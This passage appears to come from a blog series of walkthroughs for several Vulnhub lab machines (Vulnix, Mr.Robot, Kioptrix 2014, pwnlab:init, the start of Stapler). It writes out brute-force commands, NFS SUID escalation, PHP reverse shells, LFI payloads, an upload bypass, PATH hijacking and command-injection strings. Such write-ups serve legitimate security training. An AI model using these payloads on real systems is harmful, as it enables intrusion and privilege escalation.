But, I got a permission denied when I did so.

Why’s that?

Why we cannot access the mounted share, even though the show mount command showed anyone can mount the share?

To understand that, we have to discuss about how NFS permissions work.

NFS is usually paired with Kerberos for a robust authentication mechanism since NFS on its own authenticates users solely based on the user’s UID/GID; which is pretty insecure than a proper authentication system like kerberos.

Once the NFS file system has been mounted succesfully with read/write permissions by a remote host, the only protection each shared file has is its permissions. This permission is binded to the user id of a user. If two users that share the same user ID mount the same NFS file system, they can modify each others files. This is a feature of NFS and the UID/GUID or Username/Groupname is used to identify and authenticate a client; Given the server has no Kerberos setup.

Since our target doesn’t have Kerberos setup, it’s just a matter of finding the UID and GUID of the user authenticated to use the NFS (most probably user named vulnix) , and creating a user with the same UID and GUID.

But we don’t have the UID or GID of any of the users in the target. Which means we currently have no way of accessing the NFS share, even if we mounted the share.

Since there wasn’t any other way to go, I decided to brute force the usernames via smtp-user-enum. It can be installed via apt.

smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -t 192.168.1.3|tee enum-users.txt

Along with common linux usernames, I have found out two users named user and vulnix via smtp-user-enum.

I added the name vulnix to the username list, since it was an uncommon name and nmap scan report repeatedly contained the name vulnix. So, I guessed I should give that a try.

This machine also had the fingerd service installed. So, the username enumeration could also be done via enumerating the fingerd service.

Now that we have our usernames, there is nothing we can do except bruteforcing the password. Even though this is a realistic scenario in real world hacking, this is the part that I hate the most. Without proper enumeration, brute forcing heavily depends on chance. And since with CTF boxes, there is only a limited scope for enumerating the target, I would like to think that brute forcing in CTF boxes are a boring process. Realistic, but boring.

For instance, here I have enumerated two user accounts vulnix and user. However, there is no way of knowing that which account can be bruteforced easier. We just have to throw one wordlist to the cracker, wait and repeat the process again. And that’s exactly what I did.

Since, I don’t have enough information yet to prioritize one account over another, the only logical way for me is to bruteforce both the accounts. 😟 

Oh well! Let’s do that.

 hydra -L enum-users.txt -P /usr/share/wordlists/rockyou.txt 192.168.1.3 ssh -t 4

Now, when I started the scan for brute forcing two users at a time, it took me more or less an hour before the credentials got cracked. This is why I hate brute forcing on CTFs, since it depends on chance.

Note: When I brute forced against a single username, the cracking was done under 30 minutes. (Which was kind of meh for a CTF. I guess?)

The password for the user ‘user’ was letmein

And I’ve logged in as user.

And I got the UID and GID of user vulnix.

Now the next step is to create a user named vulnix with the same UID and GUID on our client machine.

sudo useradd -U -u 2008 -s /bin/bash vulnix

Here -U is used to create a group with the same name as the user, -u is used to specify custom UID, -s is used to specify which shell to use and the final argument is the username.

Now let’s switch user to vulnix.

sudo su vulnix
And we can now access the mounted share!

We should keep in mind of the fact that the NFS is the the entire home directory of the user vulnix. Along with read/write access to vulnix’s home directory, the target also has an SSH service running.

Which means that if we write our kali machine’s SSH public key into mynfs/.ssh directory as authorized_keys, then we can login to the target as vulnix.

To create a new SSH key, use the following command,

ssh-keygen -t rsa

Next, we want to create the .ssh directory, if there isn’t one present in the NFS share.

mkdir mynfs/.ssh

Now, we need to copy our id_rsa.pub as vulnix, into the target’s home directory; which is the NFS share mynfs.

cp ~/.ssh/id_rsa.pub mynfs/.ssh/authorized_keys

Now, from our kali machine, just type ssh vulnix@192.168.1.3 to login to the target as user vulnix.

And we’re in!

After this, I used sudo -l to see if vulnix can run any sudo commands. And turns out vulnix is indeed present in sudoers file.

Vulnix can edit /etc/exports file without password.

/etc/exports is the file responsible for controlling the export of file systems to remote hosts. Which means that we can export folders of our choice.

Let’s examine the /etc/exports file first.

Contents of /etc/exports

If we look at the last line of the exports file, we can see that the /home/vulnix directory is exported with read/write and root_squash options turned on.

What is root_squash option / root squashing?

Great question. Root squashing is a security mechanism in Network File System, to avoid privilege escalation through SUID binaries. I’ll explain.

Remember what I said about NFS requiring the same UID and GID for authentication? But what about a remote root user? Since root users has the same UID across all *nix Operating Systems, how does one ensure that clients doesn’t misuse this issue?

That is the application of root squashing.

If root squashing is turned on, then the NFS share will automatically convert the remote root user’s UID to nobody and GUID to 4294967294. nobody is a user with the least privileges, thus denying any remote root users from accessing the NFS share.

If root squashing option is turned off, then this is will be a potential privilege escalation vector. That is if the client mounting an NFS share without the root squashing option turned on, then the client could switch to root user and get full access to the NFS share and they could drop an SUID binary into the NFS share and execute it to escalate privileges in the server.

Since vulnix can change the parameteres of the NFS export, we can change the root_squash to no_root_squash.

sudoedit /etc/exports
root_sqash changed to no_root_squash

Now, usually after the exports file has been modified, exportfs command has to be used and nfs service has to be restarted. However, since we are not root user yet, we cannot do either of those. If this were to happen in a real life black box penetration test, then the only options for us is to wait for the sys admins to restart the server.

Granted, we could DoS the service to force them to restart the service (theroretically speaking). But, relying on such drastic measures are highly unlikely in a penetration testing scenario.

So, in my scenario, I had to restart the Vulnix VM manually to apply the changes I made to /etc/exports.

Once, I restarted the target, I could access the share as the root user!

Now, all that remains to do is to copy a bash file with sticky bit set (SUID) to the NFS share as root user.

However, since the target machine’s architecture differed from my kali machine, I had to export the bash file from the target machine to my Kali box, change it’s permissions and then copy that file to the NFS share as root user.

I used the following steps to do so.

In my kali machine:

scp vulnix@192.168.1.3:/bin/bash .

Now, if we copy this binary into the NFS share, chane ownership and add sticky bit to the binary, then user vulnix can execute this binary to be root!

Let’s do just that.

sudo cp bash mynfs/

Now inside the NFS share, we have to change ownership:

sudo chown root:root mynfs/bash

Now, set the sticky bit:

sudo chmod 4755 mynfs/bash

Where 4755 iss the octect version of the permissions.

 4: means that the binary will be executed as the owner (here it is root),  

7: means that the file can be written to, read by and executed by the owner 

5: that the group can read and execute 

5: means that any user can read and execute

Once this permissions have been applied, the file permissions will look like the following.

-rwsr-xr-x  1 root   root 21:39 bash

Notice the s in rws portion of the permission. It indicates that the binary has sticky bit set. This binary is now an SUID binary.

Pro tip: If you are confused by the permissions, you can always verify the permissions are set correctly by using the following command to view the permissions of a file in octet.

stat -c "%a %n" bash
Easy permissions reading!

Now, on the SSH session of the user Vulnix, we can execute the binary with the -p flag set, to discard processing of environment variables on execution (so that we can be root).

As vulnix user on target:

./bash -p
Woot!
Image result for dance gif funny
Time for some root dance! 😜

There was a trophy.txt flag file at /root.

Overall this was a fun machine and indeed was an eye opener for me in terms of initial enumeration process.

OSCP like Vulnhub machines: Mr.Robot:1

Download VM

Mr.Robot:1 is an easy-medium boot2root machine, which was inspired by the popular hacking themed web series Mr.Robot. This machine had puzzles that had to be solved in both the CTF way and realistic way. Overall this machine was pretty straightforward for me (Except the CTF method, which required little bit of guesswork). Due to this, gaining initial foothold in the machine was relatively tougher than escalating privileges. The overall theme was actually pretty good and the website design inspired by Mr.Robot was pretty cool!  😃 As a fan of the show, I really enjoyed that. Kudos to the creator Leon Johnson for creating such an awesome box.

Let’s start the enumeration process with netdiscover.

netdiscover -Lr 192.168.1.0/24

Where 192.168.1.0/24 is my home network’s range, -L is to keep listening and -r is to specify range.

From that command i’ve found out the IP Address of the target as 192.168.1.6.

we are going to start the enumeration by a Nmap scan.

nmap -sCV -v -oN tcp 192.168.1.6

And the output is as follows.

Nmap scan report for 192.168.1.6
Host is up (0.00025s latency).
Not shown: 997 filtered ports
PORT    STATE  SERVICE  VERSION
22/tcp  closed ssh
80/tcp  open   http     Apache httpd
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
443/tcp open   ssl/http Apache httpd
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=www.example.com
| Issuer: commonName=www.example.com
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2015-09-16T10:45:03
| Not valid after:  2025-09-13T10:45:03
| MD5:   3c16 3b19 87c3 42ad 6634 c1c9 d0aa fb97
|_SHA-1: ef0c 5fa5 931a 09a5 687c a2c2 80c4 c792 07ce f71b
MAC Address: AA:22:CC:44:DD:66 (Oracle VirtualBox virtual NIC)

The machine had ports 80,443 open and port 22 closed. There was no OS signatures leaking, so we currently have no way to enumerate the OS version.

Let’s now check out the websites.

Navigating to port 80 via the browser was a pleasant surprise. I was greeted by mr.robot via an animated pseudo console.

There were some commands, which we could enter into the pseudo console, which showed different things. Things that are connected to the show.

The website running on port 443 was this same website, but that was SSL version of this same website. There was no other way for us to proceed, except for to check the source code and a directory bruteforce.

So, I did exactly that.

I ran gobuster for the http website using the following command.

gobuster dir -u http://192.168.1.6/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt |tee gobuster

And the following command for the https version.

gobuster dir -k -u https://192.168.1.6/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt |tee gobuster-ssl

Since the machine have a self signed certificate, there will be connection errors in gobuster. So, we have to specify the -k flag to ignore those errors and continue the brute forcing.

Let’s allow the brute force attack to continue in the background and use this time to inspect the source code of the web site.

Nothing except an ASCII art.

By this time, the gobuster brute forcing found to be fruitful as it found some interesting directories.

The website was running wordpress. Also, there was a robots file/directory.
Navigating to /wp-admin has showed me the login page.

So, it is confirmed that the machine runs wordpress. I have tried the admin/admin credentials, but it was wrong. Let’s take a look at the /robots directory we found using gobuster.

Contents of /robots

There were two file names. One is a dictionary file and the other one was a key/flag file. I downloaded both files into my machine.

Now, let’s take a moment to analyze what information we have as of now. We have a wordpress admin login page, we have a dictionary file with possible passwords. The dictionary had 85k-ish strings.

As we don’t have any other leads, brute forcing the credentials is our only option. So, I used wpscan to bruteforce the credentials using the following command.

wpscan --disable-tls-checks --url https://192.168.1.6 -U users.txt -P fsociety.dic

I created a text file with the character names from the show Mr.Robot as there was no user names found from the wordpress site. Contents of users.txt is given below.

elliot
alderson
elliotalderson
mr.robot
robot
darlene
angela
tyrell
wellick

And the password was found!

The password was ER28-0652; which was Elliot’s employee ID in the show!

And we’re in!
Image result for hackerman gif elliot

The next step is to get a reverse shell, by modifying any PHP page. Here I am using the php-reverse-shell.php file from the laudanum package. I modified the IP and port address in the php-reverse-shell.php file and copied it’s contents.

Now, I need to find a suitable php page to paste this code. I navigated to Appearance > Editor and replaced the 404 Template (404.php) with the php-reverse-shell.php‘s contents, and clicked Update File to save it.

Modifying 404.php with php-reverse-shell

Now, all we have to do is to stat a nc listener and request a non-existent page and we’ll get a reverse shell!

So, I started a nc listener and requested the following non-existent page.

http://192.168.1.6/wp-admin/12

And I got a shell back!

Woot!

We were logged in as user daemon. I navigated to /home folder and found out user robot‘s directory. It contained the second key/flag file and a password hash.

I used md5hashing.net and cracked the password as abcdefghijklmnopqrstuvwxyz.

Now, we can switch user to robot. But, to do so, we have to upgrade our dumb shell to a full TTY shell. Luckily, the machine had python installed.

python -c 'import pty;pty.spawn("/bin/bash")'

Now that we’ve upgraded our shell, let’s switch user to robot.

su robot
Enter password: abcdefghijklmnopqrstuvwxyz
And we’re in as robot!

I then ran linpeas.sh and found a potential PE vector!

Nmap is an SUID binary

Let’s check GTFOBins to find if Nmap can use for PE.

There appears to be a PE vector for older Nmap versions.

Let’s find the nmap version installed in the target using nmap --version.

This means we can use this Nmap’s interactive mode to escalte privileges!
Woot woot! We’re root!

The /root folder had the third key/flag file.

I also tried to find alternate PE vectors, but couldn’t. Oh well!

Overall this was an interesting machine and I really enjoyed solving it!

“Trust yourself. You’ll do what’s right. -Elliot Alderson” 😄

OSCP like Vulnhub machines: Kioptrix: 2014

Download VM

Kioptrix 2014 is an Intermediate level Boot2Root VM, released under the Kioptrix series of VMs. Kioptrix 2014 was an incredible machine for me since it forced me to get out of my usual routines and go an extra mile for gaining the initial foothold, but the privesc was fairly straightforward.

Let’s start the enumeration process with netdiscover.

netdiscover -Lr 192.168.1.0/24

Where 192.168.1.0/24 is my home network’s range, -L is to keep listening and -r is to specify range.

From that command i’ve found out the IP Address of the target as 192.168.1.4.

we are going to start the enumeration by a Nmap scan.

nmap -sCV -v -oN tcp 192.168.1.4

And the output is as follows.

Nmap scan report for 192.168.1.4
Host is up (0.00018s latency).
Not shown: 997 filtered ports
PORT     STATE  SERVICE VERSION
22/tcp   closed ssh
80/tcp   open   http    Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)
|_http-title: Site doesn't have a title (text/html).
8080/tcp open   http    Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)
| http-methods: 
|_  Supported Methods: GET
|_http-title: 403 Forbidden
MAC Address: AA:22:CC:44:DD:66 (VMware)

There was two Apache web servers running at ports 80 and 8080 and an SSH service running. The Apache service was leaking the OS variant as FreeBSD. Given the distro and the Apache version information I’ve found a possible OS version as FreeBSD version 9.0 with a little googling.

Port 80 showed a default It Works Apache page.

Let’s check the web site running on port 8080.

Oops

The web site running at port 8080 was forbidden to us for some reason. This occurs usually because the apache2.conf file is configured to do so. A sample configuration is listed below.

<Directory "/usr/local/www/apache22/data2">
    Options Indexes FollowSymLinks
    AllowOverride All
    Order allow,deny
    Allow from 192.168.1.2
</Directory>

In the above sample apache2.conf entry, the server will only allow requests with the IP address 192.168.1.2 and discards every request from IP addresses other than this. Let’s keep this information in the back of our head for now.

Moving on..

I’ve bruteforced both the web sites without any interesting results. Since we do not have an initial foothold yet even after bruteforcing, I decided to look at the source code of the web site running on port 80.

And there was a clue for a pchart web service in the source code.

Navigating to the said URL showed me the following page.

I digged around the website and found nothing interesting. But, Searchsploit-ing the pChart version has found fruitful as there existed a directory traversal/ LFI vulnerability!

LFI vulnerability in EDB -ID 31173

As per exploit-db, the vulnerability can be exploited by requesting the following URL.

hxxp://localhost/examples/index.php?Action=View&Script=%2f..%2f..%2fetc/passwd

Since our server has pchart in a different folder, I changed the URL to the following.

http://192.168.1.4/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2fetc/passwd
And we’ve got the contents of /etc/passwd in the server!

We are off to a great start! Or so I thought.

Laugh To Cry GIFs - Get the best GIF on GIPHY

My initial plan was to try to get a remote shell using log poisoning. But FreeBSD is does not follow the same linux standards and things are different in several aspects including the location of the log file.

I looked up the location of apache access logs and found the location as /var/log/httpd-access.log and I successfully used the above discovered vulnerability to view the contents of the file.

But, no matter what I tried, I couldn’t find a way to execute code through log poisoning. My poison code was showing up on the logs, but there was some pre processing taking place, before the data gets entered in the log file. So, there is no way to execute my poisoning code, without bypassing the filter.

I’ve tried several iterations of the PHP poison code, but none of them worked. All the quote characters were escaped by the pre-processing script. So, I have decided to move on.

Moving on..

I was stuck at this time. I had no idea how to proceed from here, except continuing the bruteforcing and digging around the server using the LFI vulnerability. So, I decided to do so.

We only had three services running in the target. SSH on port 22 and two web servers on port 80 and 8080; where port 8080 was inaccessible for us. Like we discussed above, this was configured using the apache.conf file.

But, since we are dealing with FreeBSD, the file name and location varied. I looked up the configuration file location and found it as /usr/local/etc/apache22/httpd.conf.

Examining the apache configuration file was fruitful as it showed the following (weird) configuration.

Only requests with a specific UA was given access to server 8080

So, I installed a FireFox addon called User-Agent Switcher by Alexander Schlarb, added a custom User agent string and navigated to the web server running at port 8080.

And I’ve found a directory
A web service named phptax was running there

Searchsploit-ing the name phptax showed me the following results.

There was some vulnerabiliites for Phptax v0.8

I decided to try the manual exploits before going into using Metasploit exploits. I knew it was harder, but where is the learning experience in exploiting the easy way?

I was able to exploit the phptax using both manual way and the msf way. Let’s discuss how I exploited the machine using both ways.

Method#1 Exploitation using Manual Exploit.

I knew that I needed to modify the exploit to accommodate the special condition (the weird UA string) for the exploit to work. And with some struggling I’ve modified a rce script I’ve found on carnal0wngae’s github repo to work with Kioptrix 2014. Actually I made two scripts: a python2 one and a python3 one.

Along with the UA string, I also swapped the payload in the original script to accommodate two separate payloads in my script; as the original bind shell payload wasn’t working for me. This can be selected by passing the command line argument 1 or 2 into the script.

The first payload in my version of the phptax_rce script uses the netcat without -e reverse shell method and the second payload uses telnet to spawn a reverse shell. The second payload (Telnet) used in my version of the script is a modified version of the payload used by the Phptax MSF module.

You can find the modified scripts from my github repo.

Running the modified version of the phptax_rce script
And we got the reverse shell!
Tobey Maguire GIFs - Get the best GIF on GIPHY

Keep in mind that, when using a nc listener, I had to use the -k flag with nc, because if I didn’t specify the -k flag, then sometimes the shell would die upon receiving the connection back. This mostly happened when I used the telnet payload. So, it would be better to stick with the nc without -e payload.

Method#2 Exploitation using MSF module.

Exploitation using phptax_exec MSF module was fairly straight forward for me, except the fact that we have to modify the UA string. As far as I know, there wasn’t a built-in option inside MSF to swap the User Agent string without fiddling with the module’s script. To keep things simple, I decided to alter the User Agent on the fly using Burp suite.

So, I set the PROXIES option to redirect the traffic to Burp Suite and set the ReverseAllowProxy option as true. We are setting ReverseAllowProxy as true because, by default MSF doesn’t allow TCP-Connect back payloads when specifying proxies. So, by setting ReverseAllowProxy option as true, we are overriding this behavior.

Available options in phptax_exec module

Along with the usual options, we had to specify a payload before running this module; which by the way was not specified anywhere in the module. If we run the module without specifying a payload, there will be an error.

Also, the payload should be selected by typing set payload and pressing the <tab> button, to let the autocomplete function list the available payloads. We are using the tab auto complete feature instead of explicitly specifying a payload here, because this module only supports a handful of payloads and we want to see the list of available payloads.

Selecting a payload in phptax_exec module

As you can see from the above image, I selected the cmd/unix/reverse payload.

set payload cmd/unix/reverse

Now, when I executed the module with run -j, Burp suite captured the traffic and I chaned the User Agent string.

Changing the User Agent string via Burp Suite

And once I forwarded the request, I got a connection back!

Moving on to Privilege escalation…

Now, I knew the O.S version was an old one and chances are high that there is a kernel exploit for this version. But, I decided to try that later and explore the machine to find any vulnerabilities that I can exploit manually.

I tried different things in the machine. I ran linpeas script, manually went into different directories; you know, the usual stuff.

But I couldn’t find any manual vector to escalate the privileges. Linpeas output showed the presence of gcc in the machine, which pointed that this box was probably meant to be rooted using a kernel exploit. So, I searchsploit-ed FreeBsd 9.0 and found a kernel exploit for it. FreeBSD 9.0 < 9.1 – ‘mmap/ptrace’ Local Privilege Escalation- [EDB-ID 26368]

I transferred the 26368.c script using nc, compiled it with gcc and got root!

Woot!

There was a congratulaion.txt flag in the /root directory, which explained the tools and technologies used by the author; which was a nice touch! Kudos to loneferret for this machine and going this extra mile.

Loneferret also created a custom script to monitor and log the modified directories or files. He also installed “OSSEC-HIDS”; an IDS for monitoring the attacks and logging them. This will gave us an idea of how noisy the attacks are from a blue team perspective.

Overall this was a great VM to learn pentesting and it was indeed a great learning experience for me!

OSCP like Vulnhub machines: pwnlab:init

Download VM

Pwnlab:init was a pretty interesting machine and a great learning experience for me due to it’s realistic initial foothold process. As a beginner, the initial foothold was too difficult for me and it required pushing my limits. But, Privesc vector was a fun and easy one though!

Let’s start the enumeration process with netdiscover.

netdiscover -Lr 192.168.1.0/24

Where 192.168.1.0/24 is my home network’s range, -L is to keep listening and -r is to specify range.

From that command i’ve found out the IP Address of the target as 192.168.1.7.

we are going to start the enumeration by a Nmap scan.

nmap -sCV -v -oN tcp 192.168.1.7

And the output is as follows.

Nmap scan report for 192.168.1.7
Host is up (0.00027s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.10 ((Debian))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: PwnLab Intranet Image Hosting
111/tcp  open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          41609/tcp   status
|   100024  1          42173/udp6  status
|   100024  1          45735/udp   status
|_  100024  1          57136/tcp6  status
3306/tcp open  mysql   MySQL 5.5.47-0+deb8u1
| mysql-info: 
|   Protocol: 10
|   Version: 5.5.47-0+deb8u1
|   Thread ID: 39
|   Capabilities flags: 63487
|   Some Capabilities: FoundRows, Support41Auth, SupportsLoadDataLocal, SupportsCompression, Speaks41ProtocolOld, LongColumnFlag, SupportsTransactions, ODBCClient, ConnectWithDatabase, DontAllowDatabaseTableColumn, LongPassword, InteractiveClient, IgnoreSigpipes, Speaks41ProtocolNew, IgnoreSpaceBeforeParenthesis, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins
|   Status: Autocommit
|   Salt: :8IFa7.}Q\W$G|[3,$jo
|_  Auth Plugin Name: mysql_native_password
MAC Address: AA:22:CC:44:DD:66 (Oracle VirtualBox virtual NIC)

There was a web server running at port 80. The banner showed the Distro variant being Debian. But, the exact version was masked. With a little bit of googling the different banners, I found out that the version is Debian Jessie and the release time must be around 2016.

Let’s check out the web site of the target.

I tried basic SQL injection techniques, admin:admin credentials etc. But they didn’t work. And I didn’t have enough information to start brute forcing the credentials. So, I digged around more.

So, I tried bruteforcing the directories list using gobuster.

gobuster dir -t 15 -u http://192.168.1.7/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt|tee gobuster
 -x php

And I found the following directories.

upload.php , login.php pages required credentials and config.php was blank.

The /upload directory was empty and /images contained a single logo file.

And that’s when I noticed the URL of the login page of the website.

Possible LFI?

The login.php file wasn’t called directly; instead the page name was passed through a GET variable page.

The PHP code of index.php would look like the following.

if (isset($_GET['page']))
        {
                include($_GET['page'].".php");
        }

The index.php file will check if GET variable page is set. If it is set, then the file will include the contents in $page followed by the extension .php.

So, if the string ‘upload‘ is passed, then the index.php page will include upload.php in it. To verify this, I passed the value upload to the GET variable page, and it loaded the upload page.

If the function is unsanitized like the above code, then that is a potential vector for Local File Inclusion (LFI).

The oldest LFI technique is the path traversal attack. That is, the attacker would use a bunch of '../../' up one level strings to navigate to any valid files in the target system. If the target is vulnerable to a path traversal attack, then we can test it by passing the following string to the page variable. The percentage at the end of the string is the string terminator character in PHP, used to discard the rest of the PHP code.

../../../../../../../../../../etc/passwd%

I tried this, but didn’t work. Well this is an old LFI technique and might not work in recent PHP versions.

So, I had to try LFI using PHP wrappers. Wrappers are like pre-defined functions that can be used to handle a stream of data.

Let’s use the php:://filter wrapper to convert the index.php page to base64. Since the script includes any file from the page variable, the converted output will be displayed in the web page.

Our payload to the GET variable will be following. Keep in mind that we don’t require the .php extension at the end, since the script automatically handles this.

php://filter/convert.base64-encode/resource=index
And it worked!

Let’s copy this output and save it into a file of the same name.

echo -n "<base64-here>"|base64 -d > index.php
And we got the file!
Baby Excited GIFs | Tenor

Now let’s download the config.php file we couldn’t access before using the same method.

The file contained credentials to the MySQL database.

Since the MySQL database was exposed, we can login to the MySQL server using these credentials.

mysql -h 192.168.1.7 -D Users -u root -p
Enter Password: H4u%QJ_H99

And I got in!

Examining the contents of the table showed the following credentials, which were base64 encoded.

So , I used the following command to decode the passwords.

echo -n "base64-encoded-password"|base64 -d 

And I got the following creds.

kent:JWzXuBJJNy
%
mike:SIfdsTEn6I
%
kane:iSv5Ym2GRo%

Don’t know why there is a % at the end of every password. Maybe it is a custom “salting function”.

Anyways I tried kane’s credentials into pwnlab’s upload page and the login attempt failed.😰

So, I tried to login with the same credentials, except this time I skipped the % sign at the end of the password.

And I got in!

So now, the next step is to upload a PHP reverse shell here and execute it. From the home page, we already know that this is a website to upload image files. That means there is a high chance that there is some kind of file filter present in the script.

But this time we don’t need to do any guess work, since the target already have an LFI vulnerability and we can use it to examine the source code of upload.php.

php://filter/convert.base64-encode/resource=upload
<?php

session_start();

if (!isset($_SESSION['user'])) { die('You must be log in.'); }

?>

<html>

	<body>

		<form action='' method='post' enctype='multipart/form-data'>

			<input type='file' name='file' id='file' />

			<input type='submit' name='submit' value='Upload'/>

		</form>

	</body>

</html>

<?php 

if(isset($_POST['submit'])) {

	if ($_FILES['file']['error'] <= 0) {

		$filename  = $_FILES['file']['name'];

		$filetype  = $_FILES['file']['type'];

		$uploaddir = 'upload/';

		$file_ext  = strrchr($filename, '.');

		$imageinfo = getimagesize($_FILES['file']['tmp_name']);

		$whitelist = array(".jpg",".jpeg",".gif",".png"); 



		if (!(in_array($file_ext, $whitelist))) {

			die('Not allowed extension, please upload images only.');

		}



		if(strpos($filetype,'image') === false) {

			die('Error 001');

		}



		if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {

			die('Error 002');

		}



		if(substr_count($filetype, '/')>1){

			die('Error 003');

		}



		$uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;



		if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {

			echo "<img src=\"".$uploadfile."\"><br />";

		} else {

			die('Error 4');

		}

	}

}



?>

Examining the source code of upload.php has showed what the script checks for when uploading a file. The script checks for file extensions while uploading and once the file is uploaded, it checks for the mime type and if it doesn’t match the whitelisted mime types, the file will be discarded.

So, we want to spoof the file type and extensions while uploading the file. But since we don’t have any means to execute the file, let’s wait a little bit on uploading the file and continue the enumeration of the target using the vulnerability we have at hand. LFI!

We have already downloaded config.php and upload.php. The remaining file is index.php. Let’s download and examine the source code of index.php.

The source code of index.php has shown a function that is another LFI vulnerability.

if (isset($_COOKIE['lang']))
{
        include("lang/".$_COOKIE['lang']);
}

If a cookie named lang is set, then the value of lang will be included in the page. This was meant to be feature that dynamically changes the website’s language , but wasn’t fully implemented.

Another thing to note about the code is that the files included via the lang cookie is under the lang/ directory. So, for instance if the cookie is set to english.php, then the whole parameter becomes the following.

include("lang/english.php");

This also means that we could pass a directory traversal string like we mentioned above (without the string termination character, as it isn’t required here) and include any valid files from the target server.

The easiest way to add a cookie to the request will be to capture the request via Burp and repeat the request from Burp.

And we got the contents of /etc/passwd!

So, we can include any file within the system. Which means we can include files that we uploads into index.php.

Let’s use the php-reverse-shell.php file from the laudanaum package. I changed the IP address to my IP address and uploaded the file and captured the upload request via Burp.

I changed the file name to shell.php.gif, changed the content-type to image/gif. Then just before the start of the PHP code, I added a GIF89a; to spoof the MIME type.

And it was uploaded successfully! The server responded with the uploaded file location.

Now we can’t directly access this file and execute it since the script changes the file extensions. So, we have to use the lang cookie to include this file inside index.php and execute it.

Modify the cookie lang to the following.

lang=../upload/b1a99ebaad4dd28f57517de36e770484.gif

We go up one directory because the cookie looks for files in lang/ directory by default.

Before sending this, let’s start a netcat listener on port 8888.

rlwrap nc -lvnp 8888
And we got a shell!

Now my first instinct was to switch user to any one of the three users, to those we have credentials to.

So, I upgraded my shell to a full TTY first, since su works only in TTY mode.

python -c 'import pty;pty.spawn("/bin/bash")'

And I tried su kent and entered the password without the % symbol to login as kent.

And we’re kent.

As usual I tried running sudo -l as kent, since we have the user’s password. But, sudo was not found in the target. I tried other sudo alternatives like doas,access. vsys. GNU userv. sus. super; but none of them was present (or inaccessible) in the system. So, I continued my enumeration.

Looking on kent’s home folder revealed a binary named msgmike owned by mike. So, I thought mike should have more privileges than kent and I tried to switch user to mike using the credentials we exported earlier. But, that password didn’t work for mike.

Kudos to mike for not reusing the password! 🥳

Thumbs Up Computer GIFs | Tenor

I ran the SUID binary msgmike and found the following output.

That mens the binary calls the cat command without the absolute path. This means that if kane can modify the $PATH environment variable, then he could essentially hijack the execution flow and execute arbitrary commands.

Let’s test this by creating a shell script named cat.

echo "/bin/bash" > cat

Now export the current path into the beginning of the $PATH variable.

export PATH=/home/kent:$PATH

I then executed the msgmike binary.

And I’m in as mike!

Now examining the home directory of mike showed another SUID binary owned by root, named msg2root.

On executing the binary showed the following.

Same thing as before, but for root user.

I entered the string “test” and it echoed my input message. So, I thought this program must be echo-ing the message I entered to a file inside /root and cat-ing it back.

I used the strings command to test for any ASCII strings inside the binary, since using gdb is not my strong forte yet and this is a quick and dirty way to test my theory.

And my theory was right!

As we can see, this binary uses the absolute path and therefore the PATH hijack won’t work here.

Instead we have to use OS command injection. Let’s use the following command as the message to test this.

a; /bin/bash;

And we’ve spawned a bash shell. This means that our input string worked, but checking on the permissions shows that we are still mike! 🥺

Researching further showed that bash has a -p flag to preserve the environment variables on execution, thereby making us root. So, I changed the string slightly to the following.

a; /bin/bash -p;
And we are root!
Rootedit Tumblr posts - Tumbral.com
Woot!

This machine has gave me one hell of a lesson and kudos to the author claor for creating this box.

OSCP like Vulnhub machines: Stapler: 1

Download VM

Stapler is a beginner level box developed by the legendary g0tmilk; which teaches us several real life attacks like bruteforcing account credentials and attack vectors like weak credentials, credential stealing by checking contents of bash_history file.

This is actually an easy box, but I was stuck for some time for getting the initial foot hold in the machine, since it depended on bruteforcing the credentials. Nevertheless, this was a great lesson for me and after getting the initial foothold, it was cakewalk for me!

Let’s start the enumeration process with netdiscover.

netdiscover -Lr 192.168.1.0/24

Where 192.168.1.0/24 is my home network’s range, -L is to keep listening and -r is to specify range.

From that command i’ve found out the IP Address of the target as 192.168.1.10.

we are going to start the enumeration by a Nmap scan.

nmap -sCV -v -oN tcp 192.168.1.10

And the output is as follows.

# Nmap 7.91 scan initiated Sat Dec 26 04:36:36 2020 as: nmap -sCV -v -oN tcp 192.168.1.10
Nmap scan report for 192.168.1.10
Host is up (0.00023s latency).
Not shown: 992 filtered ports
PORT     STATE  SERVICE     VERSION
20/tcp   closed ftp-data
21/tcp   open   ftp         vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV failed: 550 Permission denied.
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 192.168.1.9
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
